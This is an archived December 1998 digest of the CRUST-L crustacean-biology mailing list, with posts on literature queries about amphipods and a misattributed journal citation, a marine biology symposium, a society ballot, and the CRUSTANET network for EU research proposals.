CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Wed, 9 Dec 1998 09:53:32 +0100 (CET) From: ""Dr. Musko Ilona"" Subject: CRUST-L: Literature date Dear Crustlers, I have the copy of the publication: Birstein, Ya and N. N. Romanova (1968): Otrjad bokoplavy - Amphipoda. - In: Birstein et al. (ed.): Atlas bespozvonochnykh Kaspijskogo Morya: 241-289 (Moskva). Does anibody know the authors of the book, namely who is (are) the et. al.? I would be very pleased if you answered me as soon as possible. Sincerely yours, Ilona B. Musko Dr. B. Musko Ilona Dr. Ilona B. Musko tud. fomunkatars sen. research fellow MTA Balatoni Limnologiai Balaton Limnological Research Kutatointezete Institute of the Hungarian Tihany Academy of Sciences 8237 Tihany Tel.:87-448-244 H-8237 Fax: 87-448-006 Tel.: (36)87-448244 Fax: (36)87-448-006 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Wed, 9 Dec 1998 15:58:27 +0300 From: ""slava"" Subject: Re: CRUST-L: Literature date This is a multi-part message in MIME format. - ------=_NextPart_000_0026_01BE238C.C28A7500 Content-Type: text/plain; charset=""koi8-r"" Content-Transfer-Encoding: quoted-printable The editors are Birstein, Vinogradova L.G., Kondakova N.N., Kun M.S., = Astachova T.V., and Romanova N.N. Slava Ivanenko Dept. Invertebrate Zoology, Biology faculty Moscow State Univ. Moscow 119899 Russia - -----Original Message----- From: Dr.. Musko Ilona To: crust-l@vims.edu Date: Wednesday, December 09, 1998 3:17 PM Subject: CRUST-L: Literature date >Dear Crustlers, > >I have the copy of the publication: Birstein, Ya and N. N. Romanova = (1968): >Otrjad bokoplavy - Amphipoda. - In: Birstein et al. (ed.): Atlas >bespozvonochnykh Kaspijskogo Morya: 241-289 (Moskva). >Does anibody know the authors of the book, namely who is (are) the et. = al.? >I would be very pleased if you answered me as soon as possible. >Sincerely yours, >Ilona B. Musko >Dr. B. Musko Ilona Dr. Ilona B. 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To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V2 #9 *************************** crust-l-digest Friday, December 18 1998 Volume 02 : Number 010 SUBJECTS ---------------------------------------------------------------------- Date: Wed, 09 Dec 1998 10:10:09 -0500 From: Jeffrey Shields Subject: CRUST-L: RE: 34th EMBS (fwd) CRUSTers, Looks like an interesting meeting: ============================================================================ ===== >From: ""Ana C. Costa"" >Subject: 34EMBS > > >The 34th EMBS (EUROPEAN MARINE BIOLOGY SYMPOSIUM) is scheduled for >September 13-17, 1999 in Ponta Delgada, Azores (Portugal). It will be >hosted by the Department of Biology, University of the Azores. > >Papers and posters are invited under the following themes: > > 1. Ecology and Evolution on Island Shores > 2. The Open Ocean > 3. The Deep Ocean > >Other contributions are encouraged for submission to an Open Session in the >Symposium. > >Deadline for abstracts is the end of May 1999. > >Additional nformation may be obtained at our Web Site: >http://www.uac.pt/db/embs34. > >Hope to see you in the Azores. > >Ana Cristina Costa >Departamento de Biologia >Universidade dos Acores >R. da Mae de Deus 58 >9500 Ponta Delgada >PORTUGAL > >Tel:+96 653155 ext 1237 >Fax:+96 653455 > >email: costa@uac.pt >(http://www.uac.pt/db/bmarinha/index.html) > > > jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Wed, 09 Dec 1998 11:30:05 -0600 From: richard Subject: CRUST-L: Biographical information on Dr. R.K. Kuninova-Pasternak Dear Colleagues, . Dr. Gary and Anderson and I are building a Tanaidacean Web Site. As one aspect of this venture, we are presenting biographical sketches [including lists of publications and taxa described] for some well known workers in the group [e.g. Bacescu, Lang, Sieg]. In this connection, I have been unable to obtain any biographical information on Dr. R. K. Kudinova-Pasternak, the leading Russian specialist on Tanaidacea, who has recently retired. If anyone can supply me with such information (date of birth, education, professional positions, and research), I would be most grateful. Also, a photograph of her would be very helpful. Please contact me through my email address above if you have any such information about her or know of anyone that I could contact who does. Thanks for any help. Sincerely, Richard W. Heard =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Thu, 10 Dec 1998 10:01:36 -0300 From: Paulo Young Subject: CRUST-L: Peru and Ecuador Dear Colleagues, I am planning a trip to Peru and Ecuador next February and would like to get some information about these countries. Are there any researcher from this area in this web? I would like information about permition to collect samples, and places to go. I have interest in cirripeds. Thanks Paulo S. Young Museu Nacional/UFRJ Quinta da Boa Vista Rio de Janeiro, RJ Brazil email: psyoung@acd.ufrj.br =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Thu, 10 Dec 1998 15:57:04 +0100 From: ""Hoeg, Jens T (MSX)"" Subject: CRUST-L: The Crustacean Society Ballot This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. - ------ =_NextPart_000_01BE244D.59A2C590 Content-Type: text/plain Dear TCS members Ballots are pouring into the wooden and electronic mailbox of this President-elect of the Society. Especially the electronic voting (send your ballot to me as e-mail) has been a success. NOTE THAT THE DEADLINE IS DECEMBER 15, for those of you that still want to vote. Sincerely Jens T. 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To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Sat, 12 Dec 1998 06:14:21 -0500 From: TAF Subject: CRUST-L: Question on Amphipods Greetings: I have a couple basic questions for any amphipod biologists who care to respond. Recently, I observed amphipod activity at low tide in the intertidal sand of the Indian River estuary on Hutchinson Island, Florida. Interspersed on the compacted sand were large, irregularly shaped and slightly elevated patches of ""fluffed"" sand. Individuals were moving freely about on the compact sand; however, when I scraped away the fluffy sand, hordes of amphipods poured out from below. It was reminiscent of the teeming of ants after a disturbance of a mound. My questions: What would be the likely species? What was the observed gregarious behavior and where can I read up more about this aspect of amphipod biology? Thanks. TAF =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Sun, 13 Dec 1998 11:47:43 +0200 From: conides@posidon.ncmr.gr Subject: [none] Dear Crusters, Ia have been observing the mailgroup for he past haf year with interest since a lot of chat among you has resulted to good ideas and more information than anticipated. I would like to post 2 questions that have been bothering me lately: 1. Penaeidae shrimps are characterised as open thylecum and closed thylecum regarding the morphology of the spermsac receptacle. However, I have not seen any textbook where the shrimp species are positively distignuished based on this character or any reference on which species is which. Is there any reference or summary on this subject? 2. There are a lot of scientists in the list from the States but also from Europe. I have not seen any attempt to prepare a scientific network for proposal submissions to NATO or the EU etc. There will be a lot of money given away in 1999 with the 5th research project framework from the EU and according to my experience noone is ready to submit beceaus of the lack of networks of scientists and institutes. Isnt anyone out there interested in such coordinated research??? _________________ Dr Alexis J. Conides ><> ><> ><> ><> ><> ><> ><> ><> ><> ><> NATIONAL CENTRE FOR MARINE RESEARCH Tel. +301 8642944 Fax: +301 8642944/6009612/9811713/9833095 e-mail: conides@posidon.ncmr.gr ><> ><> ><> ><> ><> ><> ><> ><> ><> ><> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Mon, 14 Dec 1998 11:33:14 -0300 (GRNLNDST) From: rodrigo johnsson tavares da silva Subject: CRUST-L: E-MAIL Dear Colleagues, I am trying to find the e-mail from Dr. Marit E. Christiansen from the Zoological Museum, University of Oslo. Thanking you in advance, Yours sincerely, R. Johnsson MUSEU NACIONAL/UFRJ Dpto. Invertebrados Rio de Janeiro, RJ CEP:20940-040 BRAZIL e-mail: johnsson@acd.ufrj.br =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Tue, 15 Dec 1998 09:44:27 +0200 From: conides@posidon.ncmr.gr Subject: CRUST-L: CRUSTANET Dear Crusters, Since the last message that I have posted in CRUST-L I had 3 memeber for the possibility to establish a medium network of scientists/institutes (15-20 will be enough It think) in order to have the eligibility to submit a proposal or some proposals on crustacean biology, fishery and aquaculture (with environmental and socio-economic aspects too) within the 5th European Union Framework that will be announced in 1999. The name of the net is CRUSTANET and we all hope it will serve us well. For this reason, I am starting a list of persons that will participate in such future network and I hope that I will receive more. Currently, it is unknown which coutries outside the EU will be eligible and therefore, everyone interested should send me an e-mail and join the list. There will be opportunities for all with other projects that are announce continously. In your mails please state you exact interest within the following disciplines, which I think are enough: + fisheries, + biology (genetics, molecular biology etc.) + coastal managemenet, + ecology and + aquaculture Also other disciplines are encouraged. Perhaps I will not be able to assist you as a pertner with some disciplines such as genetics, but this list will be available to all of you, once prepared and you can manage your own contacts. Best regards to all of you, _________________ Dr Alexis J. Conides ><> ><> ><> ><> ><> ><> ><> ><> ><> ><> NATIONAL CENTRE FOR MARINE RESEARCH Tel. +301 8642944 Fax: +301 8642944/6009612/9811713/9833095 e-mail: conides@posidon.ncmr.gr ><> ><> ><> ><> ><> ><> ><> ><> ><> ><> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Tue, 15 Dec 1998 13:06:21 +0200 From: conides@posidon.ncmr.gr Subject: CRUST-L: CRUSTANET Dear Crusters, Since the last message we have a good number of participants in this list of future projects from the EU. Please NOTE THAT THIS NETWORK WILL NOT REPLACE CRUST-L but will be only a list of interested people for research collaboration between European countries and Third Eligible countries. As I think that this list will be rather big, I will post the names and interests in my web page and everyone of you interested in collaborative research will find easy partners for this. My web page is: www.geocities/Athens/Atlantis/1963/index.html and the names will be posted early next week. Until then there are rthings to download and see there. The site is ubder construction and regularly updated. Thank you again for your interest. _________________ Dr Alexis J. Conides ><> ><> ><> ><> ><> ><> ><> ><> ><> ><> NATIONAL CENTRE FOR MARINE RESEARCH Tel. +301 8642944 Fax: +301 8642944/6009612/9811713/9833095 e-mail: conides@posidon.ncmr.gr ><> ><> ><> ><> ><> ><> ><> ><> ><> ><> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Tue, 15 Dec 1998 20:14:53 +0800 From: azmi5085 Subject: CRUST-L: Crustacea Please tell me more about crustacea especially with your discovery. Thank you for your responce. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Tue, 15 Dec 1998 18:33:08 +0100 From: Carlo Pipitone Subject: Re: CRUST-L: Crustacea At 20.14 15/12/98 +0800, wrote: >Please tell me more about crustacea especially with your discovery. >Thank you for your responce. Dear ""azmi5085"" and dear list members, I just wish to remark that it is not very polite to post such generic and anonymous requests, without specifying the name of the sender, for what reason and use he's looking for info on crustaceans, and what kind of info he needs. A brief presentation and some more explicit notes are needed, in my humble opinion. Regards, Carlo Pipitone ***************************************** Carlo Pipitone - -------- CNR-IRMA (formerly: CNR-ITPP) Laboratorio di Biologia Marina via G. da Verrazzano 17 91014 Castellammare del Golfo (TP), Italy tel: (0924)35013 fax: (0924)35084 e-mail: carlopip@tin.it alternate e-mail: pipitone@itpp.pa.cnr.it ***************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Tue, 15 Dec 1998 19:14:36 +0000 From: ""Wulf Kobusch"" Subject: CRUST-L: Journal: ""trees"" - literature problem Dear CRUST-Lers, is there anybody out there who has the correct bibliographic data of this publication: HUELSENBECK, J. P.; BULL, J. J.; CUNNINGHAM, C. W. (1996): Combining data in phylogenetic analysis. Trees (Berlin, Heidelberg) 11: 152-158. there must be a bug in it; is it the wrong journal? Anyway - our libraries gave it up. Before running amok, I think it is a good idea to ask in CRUST-L, may be somebody of you can help. Best wishes to all of you Wulf *********************************************************** Wulf Kobusch Ruhr Universitaet Bochum Lehrstuhl fuer Spezielle Zoologie Gebaeude ND 05 / 776 Universitaetsstrasse 150 44801 Bochum GERMANY phone: +49/(0)234-700-5577 or -4563 fax: +49/(0)234-7094-114 e-mail: wulf.c.kobusch@ruhr-uni-bochum.de *********************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Tue, 15 Dec 1998 13:27:43 -1000 From: Curt Fiedler Subject: Re: CRUST-L: Journal: ""trees"" - literature problem On Tue, 15 Dec 1998, Wulf Kobusch wrote: > is there anybody out there who has the correct bibliographic > data of this publication: I'm not sure what you mean by ""bibliographic data"", but I'll take a guess at which journal it is in. > HUELSENBECK, J. P.; BULL, J. J.; CUNNINGHAM, C. W. (1996): Combining > data in phylogenetic analysis. Trees (Berlin, Heidelberg) 11: 152-158. Try ""TREE"" (Trends in Recent Evolution and Ecology?), not ""Trees"". Good luck, - -Curt G. Curt Fiedler Zoology Department & Hawaii Institute of Marine Biology University of Hawaii at Manoa 2538 The Mall, Edmondson hall Honolulu, Hawaii 96822 Phone: (808)956-4712 Fax: (808)956-9812 http://www2.hawaii.edu/~zoology/graduate/CurtPage.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Wed, 16 Dec 1998 10:05:19 +0200 From: conides@posidon.ncmr.gr Subject: CRUST-L: CRUSTANET announcement Dear Crusters, thank you all for your response to CRUSTANET attempts. Since you are so many I cannot answer to you personally so please excuse me for this. All persons that applied have been included in the list regardless country or EU eligibility since the net, as I told you from the start, is intented to bring people together for projects. The list will be posted in my web page since TODAY and I would like to urge you to start talking to each other to form groups and decide the subjects of your projects. We do not have time since the first announcements will come until March 1999 and there will be no time for network formation and administration procedures. Therefore, I suggest that all of you TRULY interested to get some good funds, start discussing the matter personally with others interested in the same subject and with your Institutes. Secondly, I made a mistake posting my web page URL to the CRUST list: the correct one is: http://www.geocities.com/Athens/Atlantis/1963/index.html and follow the CRUSTA-net link. Thank you Dr Jean-Robert BONAMI of IFREMER for the notice of mistake. Again I would like to stress out the following, in order the list will be useful to all please consider the following: 1. Be dedicated to the possibility to get involved in an international project 2. Since you will be 100% partners you too have the possibility to express your opinion, so have one. 3. In order to get in the list I need the following data: Name: FULL address: Phone, fax E-mail Detailed interests on crustaceans (species/families, aquaculture, pathology etc.) This way, anyone interested will be able to contact you for a certain project. I have send to some of you, a request for additional information. Please forward them to me. Thank you for now. Note that I will post also information on EU projects as they come in. Best regards to all, _________________ Dr Alexis J. Conides ><> ><> ><> ><> ><> ><> ><> ><> ><> ><> NATIONAL CENTRE FOR MARINE RESEARCH Tel. +301 8642944 Fax: +301 8642944/6009612/9811713/9833095 e-mail: conides@posidon.ncmr.gr ><> ><> ><> ><> ><> ><> ><> ><> ><> ><> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Wed, 16 Dec 1998 09:11:40 +0000 From: ""Wulf Kobusch"" Subject: CRUST-L: TREE = Trends in Ecology & Evolution Dear CRUST-Lers, Whow! The high number of responses is proportional to my feeling of embarrasment (that the solution is so simple :-) The little ""s"" at the end of ""trees"" and the fact that there really exists a Journal ""Trees"" (Berlin & Heidelberg, ISSN 0931-1890) together with my progressive amnesia were a bad coincidence. However, there is no reason for running amok anymore. Thanks to all of you for your helpful hints. Enjoy the Christmas time (if you can). Merry Christmas to you! Wulf =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Wed, 16 Dec 1998 14:09:43 +0100 From: POUPIN Joseph Subject: CRUST-L: Decapoda & Stomatopoda of Polynesia Dear Colleagues, A list of the Decapoda and Stomatopoda of the French Polynesian Islands (Marquesas, Tuamotu, Society, Gambier and Australs Islands), including more than 750 records and numerous photographs, is available on the following site : http://www.ecole-navale.fr/www.loen/crust/crustacea_polynesia.html This work has been realized in collaboration with the French Museum national d'Histoire naturelle, laboratoire de Zoologie des Arthropodes, Paris. It is currently updated by myself, at the Laboratoire d'Oc�anographie, Ecole Navale, Brest. Any comments and corrections will be appreciated. Merry Christmas to all of you ____________________________ POUPIN Joseph Laboratoire d'Oc�anographie De l'Ecole Navale - LOEN 29240 BREST NAVAL T�l. 02 98 23 37 57 Fax (33) 02 98 23 38 57 Poupin@ecole-navale.fr ___________________________________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Wed, 16 Dec 1998 09:25:07 -0500 From: Jeff Shields Subject: CRUST-L: Re proposals on crustaceans (fwd) Please respond to the list and not directly to me. Thanks, Jeff =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3Dfwd=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D >MIME-Version: 1.0 >To: conides@posidon.ncmr.gr >CC: CRUST-L@vims.edu >Subject: Re: eu proposals on crustaceans >References: <3.0.1.32.19981213114743.006a9328@posidon.ncmr.gr> >Content-Type: text/plain; charset=3Dx-user-defined >Content-Transfer-Encoding: 8bit > >Dear Alexis, > >I think that you are raising a very important point!!! > >I see in my University and elsewhere how people are being organized in subject >networks for the 5th research project framework from the EU.=A0 It is a rea= l pity >that we are not organized in such a manner so we could find partners and= form >strong groups that could submit good EU proposals on crustacean subjects. > >Thank you for starting this important discussion. >I am looking for European partners for the 5th framework myself. > >Regards, > >Amir > >=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D > >Amir Sagi >Department of life Sciences >Ben Gurion University. >http://www.bgu.ac.il/life/sagi.html >=A0 >=A0 > >--------------------------------------------------------------------------- - --------------- > >conides@posidon.ncmr.gr wrote: > >> Dear Crusters, >> >> Ia have been observing the mailgroup for he past haf year with >> interest since a lot of chat among you has resulted to good ideas >> and more information than anticipated. I would like to post 2 questions >> that have been bothering me lately: >> >> 1. Penaeidae shrimps are characterised as open thylecum and closed= thylecum >> regarding the morphology of the spermsac receptacle. However, I have not >> seen any textbook where the shrimp species are positively distignuished >> based on >> this character or any reference on which species is which. Is there any >> reference >> or summary on this subject? >> >> 2. There are a lot of scientists in the list from the States but also= from >> Europe. >> I have not seen any attempt to prepare a scientific network for >> proposal submissions to NATO or the EU etc. There will be a lot of money >> given away in 1999 with the 5th research project framework from the EU >> and according to my experience noone is ready to submit=A0 beceaus of the >> lack of networks of scientists and institutes. Isnt anyone out there >> interested in such >> coordinated=A0 research??? >> >> _________________ >> Dr Alexis J. Conides >> >> ><> ><> ><> ><> ><> ><> ><> ><> ><> ><> >> NATIONAL CENTRE FOR MARINE RESEARCH >> Tel. +301 8642944 >> Fax: +301 8642944/6009612/9811713/9833095 >> e-mail:=A0=A0=A0=A0=A0=A0=A0=A0 conides@posidon.ncmr.gr >> ><> ><> ><> ><> ><> ><> ><> ><> ><> ><> >> =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-= =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D >> To (un)subscribe to CRUST-L: >> Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >> To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >> Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >> Archives available at http://www.vims.edu/~jeff/archive.htm >> =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-= =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Wed, 16 Dec 1998 09:30:01 -0500 From: Jeff Shields Subject: CRUST-L: Porcellio info (fwd) Please respond to Mike Palopoli and not to me. Thanks, Jeff - -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-fwd==-=-==-=-=-=-=-=-=-=-=-=- >From: Mike Palopoli >Reply-To: mpalopol@bowdoin.edu >Organization: Bowdoin College >X-Mailer: Mozilla 4.05 (Macintosh; I; PPC) >MIME-Version: 1.0 >To: CRUST-L@vims.edu >Subject: Porcellio >Content-Type: text/plain; charset=us-ascii; x-mac-type=""54455854""; 